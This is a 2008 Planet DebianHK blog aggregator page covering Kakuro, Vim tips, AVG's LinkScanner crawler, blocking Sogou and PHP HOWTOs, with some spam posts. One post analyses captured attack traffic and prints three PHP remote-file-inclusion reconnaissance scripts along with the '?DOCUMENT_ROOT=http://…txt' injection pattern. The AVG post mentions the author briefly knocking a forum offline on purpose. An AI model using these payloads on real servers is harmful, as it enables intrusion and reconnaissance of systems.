Planet DebianHK

RSS feed
Planet DebianHK - http://planet.debian.org.hk/
已更新: 5 分鐘 7 秒 前

狗爺語錄: Another Kakuro strategy: difference of 2 cells

2008, 八月 9 - 09:07

Last time I have had discussed about using arithmetics to solve kakuro (part 1, part 2); most of the methods are trivial for everybody except the last case which is not apparent. This one is also not apparent as well, and I have almost never encountered it except once. It is about:

Calculating the difference between 2 cells!

How can the difference of 2 cells be helpful? See below for initial configuration:

Kakuro initial configuration

It is an open end layout, so using addition and subtraction seems not very feasible. There is also no apparent target with only one possible answer. Actually there is, but very well hidden. Calculate the sum of digits marked with green and red:

kakuro step 1 (vertical) kakuro step 1 (horizontal)

Take the difference between red and green areas. The result is the difference of the 2 squares marked A and B, which is 4 ( = 38 - 34 ) :

kakuro step 2

So? There are still too many choices, 4 can be 5-1, can be 6-2, …… The key point is, only one of the choices is possible! Notice the 3rd row (with sum equal to 22), there are only 2 possible combinations, namely (5,8,9) and (6,7,9).

  1. B-A=4 ⇒ A ≤ 5
  2. From the 2 decompositions of 22 ⇒ A ≥ 5

Bingo! (A,B) = (5,9).

Joseph Wu: Happy Vimming - Tips Collection

2008, 八月 7 - 11:36

I always forgot some useful key-strokes when I happened to need them. So I just collect them here. Those tips are always from vim mail-list or some other vim online resource or my personal experience:

  1. To count the words in a selected block in visual mode:  { g, ctrl+g } {help word_count}
  2. To get the full path of current file: { :f[ile]  | CTRL+G }
  3. To open a file under current cursor in current buffer: { gf }
  4. To open a file under current cursor in new buffer/window: { ctrl_w+f }
  5. To put the file name of current editing buffer: { insert mode: ctrl_r+% }
  6. Join all the lines in a paragraph: { vipJ } { gqip }
  7. Show value of particular {option}: set {option}?    { :set tabstop? }
  8. move current window to a NEW tab: { CTRL_w + T }
  9. put the word under current cursor to the command mode line: { CTRL-R CTRL-W } <:help c_CTRL-R_CTRL-W>
  10. Transform horizontally split windows to vertically one: { CTRL-W H  }, vertically to horizontally: { CTRL-W J }. (attention: capital H, capital J)
  11. Reselect the previous visual block you made before: { gv }
  12. Substitute the pattern in last search: { s//.../g }   < help ... >
  13. Repeat the last substitute: {:&}, or even more change the last substitution's flag {:& flag }  <:help :&>
  14. Go to last edit: { g; } <help g;> <help g,>
  15. Convert upper case characters to lowercase: { :%s/[A-Z]/\L&/g }; convert lower case characters to upper case: { :%s[a-z]/\U&/g }  < help \U; help \u >
  16. Convert text to upper case: { gU }; to lower case { gu }; to inverted case { g~ }. eg: gU$ will convert all the characters from current cursor to the end of the line to upper case.
  17. Convert all tabs to spaces: { :set expandtab;  :set tabstop=4; :%retab }
  18. Use the "--remote-tab-silent" parameter when invoking gvim or vim to open a file in a new tab of a vim server (if existed).
  19. use { :tab ball } to open all buffers into separated tabs.

 

 

狗爺語錄: 近期看到的所謂 “Web Attack”

2008, 八月 7 - 04:17

這一兩星期經常看到 Apache log 中出現和 remote file inclusion 有關的「攻擊」,一時好奇,抓其中一個檔案來看一看,赫然發現並不是盲目直接攻擊,反而像大量搜集伺服器資料。拿其中一個看到的檔案為例:

<? echo "BraT<br>"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER[&aposSERVER_NAME&apos]; $alb8 = gethostbyname($SERVER_ADDR); $alb9 = get_current_user(); $os = @PHP_OS; echo "os: $os<br>"; echo "uname -a: $alb<br>"; echo "uptime: $alb2<br>"; echo "id: $alb3<br>"; echo "pwd: $alb4<br>"; echo "user: $alb9<br>"; echo "phpv: $alb6<br>"; echo "SoftWare: $alb5<br>"; echo "ServerName: $alb7<br>"; echo "ServerAddr: $alb8<br>"; echo "NigeriaN HackerS TeaM<br>"; exit; ?>

另一個也差不多:

<?php function ConvertBytes($number) { $len = strlen($number); if($len < 4) { return sprintf("%d b", $number); } if($len >= 4 && $len <=6) { return sprintf("%0.2f Kb", $number/1024); } if($len >= 7 && $len <=9) { return sprintf("%0.2f Mb", $number/1024/1024); } return sprintf("%0.2f Gb", $number/1024/1024/1024); } echo "kangkung<br>"; $un = @php_uname(); $up = system(uptime); $id1 = system(id); $pwd1 = @getcwd(); $sof1 = getenv("SERVER_SOFTWARE"); $php1 = phpversion(); $name1 = $_SERVER[&aposSERVER_NAME&apos]; $ip1 = gethostbyname($SERVER_ADDR); $free1= diskfreespace($pwd1); $free = ConvertBytes(diskfreespace($pwd1)); if (!$free) {$free = 0;} $all1= disk_total_space($pwd1); $all = ConvertBytes(disk_total_space($pwd1)); if (!$all) {$all = 0;} $used = ConvertBytes($all1-$free1); $os = @PHP_OS; echo "kangkung was here ..<br>"; echo "uname -a: $un<br>"; echo "os: $os<br>"; echo "uptime: $up<br>"; echo "id: $id1<br>"; echo "pwd: $pwd1<br>"; echo "php: $php1<br>"; echo "software: $sof1<br>"; echo "server-name: $name1<br>"; echo "server-ip: $ip1<br>"; echo "free: $free<br>"; echo "used: $used<br>"; echo "total: $all<br>"; exit;

再來第三個,都是一樣的東西:

<? echo "ALBANIA<br>"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER[&aposSERVER_NAME&apos]; $alb8 = gethostbyname($SERVER_ADDR); $alb9 = get_current_user(); $os = @PHP_OS; echo "os: $os<br>"; echo "uname -a: $alb<br>"; echo "uptime: $alb2<br>"; echo "id: $alb3<br>"; echo "pwd: $alb4<br>"; echo "user: $alb9<br>"; echo "phpv: $alb6<br>"; echo "SoftWare: $alb5<br>"; echo "ServerName: $alb7<br>"; echo "ServerAddr: $alb8<br>"; echo "UNITED ALBANIANS aka ALBOSS PARADISE<br>"; exit; ?>

特別之處是,它們非常針對 PHP,嘗試哄騙 PHP 信任攻擊者提供的 DOCUMENT_ROOT 來取代 Apache 那個,全部都是在 URL 後加上像 "?DOCUMENT_ROOT=http://www.example.com/xxxxxx.txt" 的部份,而且這個所謂的 .txt 其實是 PHP 檔。我和這位仁兄一樣,一時間找不到是哪個漏洞會用 DOCUMENT_ROOT。

在 User Agent 方面,九成九都是 libwww-perl,看到比較得人驚的只有這個。希望是偽造的吧,如果是真的,那就笑不出了,因為那表示這個攻擊無遠弗屆……

tshuyang: My Linkedin

2008, 八月 6 - 22:54

jsonchan: My Linkedin

2008, 八月 6 - 22:54

tshuyang: 超級好玩的動作格鬥電腦小遊戲!

2008, 八月 6 - 11:04

超級好玩的動作格鬥電腦小遊戲!

校園保衛戰
很火暴的一個動作類游戲,暴力級別為一級(嚴禁18歲以下進入),同時也代表了當代青年的看法,融合了愛國,英雄,積極進去,練習膽量,熱愛美女等思想,楷稱經典!!

閱讀全文

來醫: Upgrade to Diablo (Maemo 4.1)

2008, 八月 6 - 04:59

Ok, you won’t believe that I haven’t upgrade my N800 to the lateast OS2008, Diablo (Maemo 4.1) until today. I even unaware it til bunny tell me few weeks ago.

2 Major things that diablo delights me are the Chinese support on RSS reader and the new mail client Modest. Ok, it also shipped with the Chinese font MHei18030C5.ttf. But I used the Chinese font provided by Google’s Android SDK which is much better then AR PL UMing since I upgrade to OS2008 beta. I have never got a problem on reading Chinese in N800. However, the broken Chinese support in RSS reader in Maemo 4.0 really make it useless for me. It is great they really fix it in Diablo. Besides, the long waiting Modest is pretty great. I had try the beta version of it last year in OS2008 beta and found it is much better then the old mail client. However the beta version didn’t integrated well with Task applet. I haven’t use the N800 to read mail since I upgrade to the official OS2008 (Maemo 4.0) coz it didn’t ship with Modest. Now, n800 can really become the Internet Tablet instead of only an E-Book reader or Podcast player for me. Wow!!!!!

狗爺語錄: 用 AVG 進行 DoS 是可行的

2008, 八月 5 - 05:02

很久沒看 Slashdot 了,稍為瀏覽一下就找到有趣的事:原來 AVG antivirus假扮 IE 6 來掃描網站。乍看好像沒甚麼問題,但致命的地方在於它做法粗暴,造成不少人反感,像某些大陸 search engine 一樣。

再看看 Slashdot 裏的鏈結,原來 The Register 接近兩個月前已經在罵了。AVG 8.0 吸納了一套稱為 LinkScanner 的軟件,當用家在 search engine 搜尋任何東西時,LinkScanner 就會出動掃描所有搜尋結果,再報告哪個網站懷疑有 malware。問題正是出在這個 LinkScanner 身上。

從 download.com 下載的 8.0.1 版本,用預設選項安裝好後,不進行升級 (用來避免任何升級或 virus definition update 帶來的作用),結果是:它會直接用 HTTP 下載所有 search engine 的結果,包括主頁和鏈結本身,例如搜尋我自己的網站:

GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;1813) Host: me.abelcheung.org Cache-Control: no-cache

除此之外更會下載所有主頁中使用過的 JavaScript 和一兩個主站下的 subpage。其實 AVG watch 已經將整個來龍去脈都闡釋清楚了,不過我還是忍不住要用中文解釋一下:

  1. 它是假扮 IE 來存取網頁的,即是說所有做網站流量分析統計的人以後可以轉行了,因為任何分析結果一定是錯的。雖然有方法偵測,但只是權宜之計,也不一定很準確能封禁 AVG。當然,一眾 webmaster 不將 AVG 罵個狗血淋頭才出奇。尤其是 AVG 的 CTO 出來辯護的說話更是火上加油:
    “I don’t want to sound flip about this, but if you want to make omelettes, you have to break some eggs.”

意指做大事必有犧牲,當然這裏的犧牲品就是網站管理員和分析員囉。

  • 它存取網站的目的,是為了在 search engine 中「預先」提示用戶哪個站「可能」有問題:

    AVG LinkScanner on search results

  • 試想想我在 Google 中搜尋 “site:me.abelcheung.org”,就等於有十個人同一秒立即到我的網站下載這個下載那個了,如果多幾個人做同一種事呢?一個人開多幾頁搜尋呢?這已經等於一個小型的 DoS 了。這不是說笑的,我拿某個 forum 「小試牛刀」,結果那個 forum 就這樣被我這樣拖垮了一陣子。

    之後的發展,AVG Watch 末段已經說清楚了,我也用 sniffer 確認過 7 月 5 日後的更新已經不再直接存取任何網站;真想知道那個 CTO 的面子如何放得下。 :D 但如許多人所說,AVG 8 開始有變成 bloatware 的趨勢,怪不得近來看到不少的建議勸人改用 Avast

    來醫: GNU/Linux HSDRA (3.5G) 上網!?

    2008, 八月 4 - 22:54

    早一陣子,有人問我 GNU/Linux 可不可以 HSDRA (3.5G) 上網。現在香港 HSDRA 計畫都頗貴,我沒有錢使用,所以亦答不到。不過研究一下亦無況。

    Google 搜索一下,Tuxmobil 有一專頁收集了有過 GNU/Linux 3G 上網的資料。似乎上 Smartone-Vodafone 最新那個 HSDRA USB stick 有 GNU/Linux 驅動器,有 Debian、Fedora 8 和 OpenSuSE 10.3 等 distro 的套件預備。但見討論區有不少人投訴驅動器有問題。

    有機會要找個有 Smartone-Vodafone USB stick 的朋友備來試試。

    Sam Tang: 華碩主機板的 Express Gate

    2008, 八月 3 - 16:33

    上星期裝好的新電腦,在購買前主機板主要在華碩及技嘉之間選擇,因為貪其大牌子。因為我不會用 Raid 及雙顯示卡,所以鎖定了 P43 晶片組。華碩及技嘉在不同級數的產品售價也差不多,各自也有節能技術,我想效果應該相差不遠,而最後選擇了 Asus P5QL Pro,因為被華碩的 Express Gate 吸引了。

    有時開電腦的原因只為上網看一些資料,或者 check email,要進入作業系統很麻煩,而 ASUS Express Gate 就可以在短短幾秒內進入一個 Linux 系統,可以執行瀏覽器及Skype 之類的網路工具。而 Express Gate 其實是一片裝在主機板上的 Flash 卡,並在上面載有一個精簡的 Linux-like kernel。而 Express Gate 還支援升級功能,即可以透過互聯網更新並寫入 Flash 上。

    在開機後,會立即顯示 Express Gate 的畫面,如果用家沒有任何輸入,會如常地載入作業系統開機,而這個停留時間的多少,可以進入 BIOS 設定。以前這個 Express Gate 只應用在高階主機板上,現在連中階主機板 (我的 P5QL Pro 買了九百多元) 也支援。

    狗爺語錄: 搜狗大反擊

    2008, 八月 2 - 22:41

    太惡劣了,搜狗完全無視任何 robots.txt,但它的條款中竟然蓄意欺騙人,說它會支援 robots.txt:

    sogou spider 支持 robots 协议,您可以在网站的根目录放置 robots.txt。
    robots.txt 的规则请参阅 http://www.robotstxt.org/。
    但是新更新的 robots.txt 可能得过几个星期才能体现出效果来。

    我的 robots.txt 中禁止搜尋和 indexing 的部份已經有一年半未動過了。之前已經封禁過一次的了,那次不記得是甚麼 robot,瘋狂地下載,連帶網站被 DoS 了。但最近忽然發現搜狗又很頻密地 index 我的禁地。雖然不如有些人所說每秒一次那麼令人髪指,但也好不到那裏去,這些情況很多人投訴過。對於這些流氓搜尋引擎,我也不是甚麼善男信女:


    Rewritecond %{HTTP_USER_AGENT} "^Sogou"
    RewriteRule .* http://www.sogou.com/ [L,R=301]

    一招還嫌不夠,再來另一招必殺技:


    iptables -A INPUT -m limit -p tcp --tcp-flags SYN,RST,ACK,FIN ACK -s 220.181.0.0/16 --dport 80 --limit 3/minute --limit-burst 1
    iptables -A INPUT -j DROP -p tcp -s 220.181.0.0/16 --dport 80

    不是單純的 DROP,我是有心玩的。還有,似乎搜狗會動用多個 IP 做 robot,一個個 IP 來 block 不及圍骰通殺來得痛快。況且百度也是用同一段 IP 的,就讓百度和搜狗自行決定每分鐘三個 packet 怎樣分配吧。 :D

    企鵝佬: 奧運

    2008, 八月 1 - 16:44
    「平安奧運」不僅在現實的內地各大城市出現,到處都是搜查,安檢。原來在網絡世界也加強了。 由前天開始,有兩個客報告我說寄往大陸的電郵打回頭。內容類似: This is the Postfix program at host mail.example.com. I'm sorry to have to inform you that your message could not be delivered to one or more recipients. It's attached below. For further assistance, please send mail to If you do so, please include this problem report. You can delete your own text from the attached

    企鵝佬: AdWords

    2008, 八月 1 - 16:44
    今天開始了在 Google AdWords 落廣告。其實應該說是昨天開始的。最初試了鍵入了幾個 keywords。今朝再看報告,完全沒有「展示」過我的廣告。原來我的最高點擊成本太低了。大部份我選的 keywords 都幾貴,最平的都要 HK$1.20/click ,有些要去到 HK$3.00。今天提高了我的成本和加上更多 keywords,過幾小時後再看,開始廣告有 broadcast 出去了。 我使用 Google AdWords 當然希望可以靠廣告增加 Sales ,但也想在這過程中學習 Google AdWords 的使用辦法。坦白講,今天是第二日用,很多功能仍未熟習。我希望用熟之後可以開拓另一門生意 --- Google Adwords 的中介人。我想有得做的。

    tshuyang: 桌布圖吧(WWW.Pic8.Net),免費電腦桌布下載!

    2008, 七月 30 - 00:22

    桌布圖吧(WWW.Pic8.Net),最專業的電腦桌布下載網站,提供多種多樣的桌布圖片下載,明星桌布,可愛桌布,風景桌布,卡通桌布,美女桌布,動態桌布!

    地址:
    http://www.pic8.net

    Sam Tang: Firefox 3.0 真的很不錯

    2008, 七月 28 - 14:58

    Firefox 3.0 在上個月已經推出正式版,但一直也沒有更新,今天才下載來試用一下。我自己所安裝的 plug-ins 較少,升級後也可以找回 plug-ins 的新版本使用。最令我喜歡 Firefox 3 的是速度的提升,不論是開啟速度及開啟網頁時真的快了不少。

    另外一點就是網上付款,我的信用卡登記了 Visa 認證功課,但在銀行的網頁輸入認證碼時,用舊版 Firefox 不論怎樣都會說認證碼錯誤,只好當用信用卡付款時改用 IE,而這個問題在 Firefox 3 己經沒有了。

    Edison Wong: Apache2.2 + PHP5.2 + pgsql/pdo_pgsql from sketch on Debian sid HOWTO

    2008, 七月 27 - 20:30

    This simple HOWTO will guide you about how to setup Apache2.2 + PHP5.2 + pgsql/pdo_pgsql from sketch. Compile all package from tarball can give you the maximum flexibility of functionality, e.g. you can enable both mysql/mysqli/pgsql/oci8/pdo_mysql/pdo_pgsql/pdo_oci within single installation.

    Before start, I will assume you have Debian sid and Postgresql8.3 installed correctly, which will not detail within this document. In case of Debian, Postgresql8.3 installation is just as simple as a single command:

    apt-get install postgresql-8.3 postgresql-client-8.3 postgresql-contrib-8.3 postgresql-common

    After installation, you should also initialize your user accounts and also database. Please refer to my other article for more information (well, it is for PostgreSQL8.1 but also function in case of PostgreSQL8.3).

    This HOWTO is highly similar as my other article which target for install Apache2.2 + PHP5.2 + OCI8/PDO_OCI from sketch on Debian sid. Therefore some duplicated section will directly refer to there, and only mention those different in case for PostgreSQL in here.

    read more

    Edison Wong: Apache2.2 + PHP5.2 + mysql/mysqli/pdo_mysql from sketch on Debian sid HOWTO

    2008, 七月 27 - 18:11

    This simple HOWTO will guide you about how to setup Apache2.2 + PHP5.2 + mysql/mysqli/pdo_mysql from sketch. Compile all package from tarball can give you the maximum flexibility of functionality, e.g. you can enable both mysql/mysqli/pgsql/oci8/pdo_mysql/pdo_pgsql/pdo_oci within single installation.

    Before start, I will assume you have Debian sid and MySQL5 installed correctly, which will not detail within this document. In case of Debian, MySQL5 installation is just as simple as a single command:

    apt-get install mysql-server-5.0 mysql-client-5.0 mysql-common

    This HOWTO is highly similar as my other article which target for install Apache2.2 + PHP5.2 + OCI8/PDO_OCI from sketch on Debian sid. Therefore some duplicated section will directly refer to there, and only mention those different in case for MySQL in here.

    read more

    Sam Tang: DIY 電腦

    2008, 七月 27 - 08:45

    我對上一部自己裝的電腦是在 6 年前,昨天買了一堆硬件回家砌,一搞便是個多小時。CPU 是用 E8400,打開後看到散熱器比以前細,而且已經不用自己塗上散熱膏。開機後一般看網頁等簡單工作時,溫度大概在 40 左右,看來如果像我一樣不超頻的用家,原裝散熱器已經夠用。

    昨天除了買了新電腦外,也買了一份生日禮物給女朋友,是一隻 Citizen XC 系統的手錶,雖然貴了一點,但看到女朋友開心的樣子,自己已經感到很滿足。

    Sam Tang: 驅動程式備份及更新工具 — DriverMax

    2008, 七月 26 - 16:56

    DriverMax 是一個 Windows XP 及 Vista 下的驅動程式工具,除了可以把系統內的驅動程式匯出外,也可以自動在網上下載新版的驅動程式。雖然 DriverMax 是免費軟件,但第一次使用時需要按註冊一個免費的註冊碼,否則只可以試月 30 日。

    DriverMax 官方網站: http://www.drivermax.com/

    Sam Tang: 本港推出首隻黃金 ETF

    2008, 七月 25 - 08:31

    本港首隻黃金 ETF — SPDR 金 ETF (2840) 將會在下星期四 (31 日) 在港交所掛牌,入場費大約七千多元,買賣方法與買賣一般股票一樣。

    投資者在買入黃金 ETF 後相等於持有實物黃金,基金不會投資黃金的衍生產品或期貨,黃金實物會存放於匯豐銀行倫敦的金庫內。所以扣除 0.4% 管理費後,黃金 ETF 基本上會跟隨黃金價格走勢。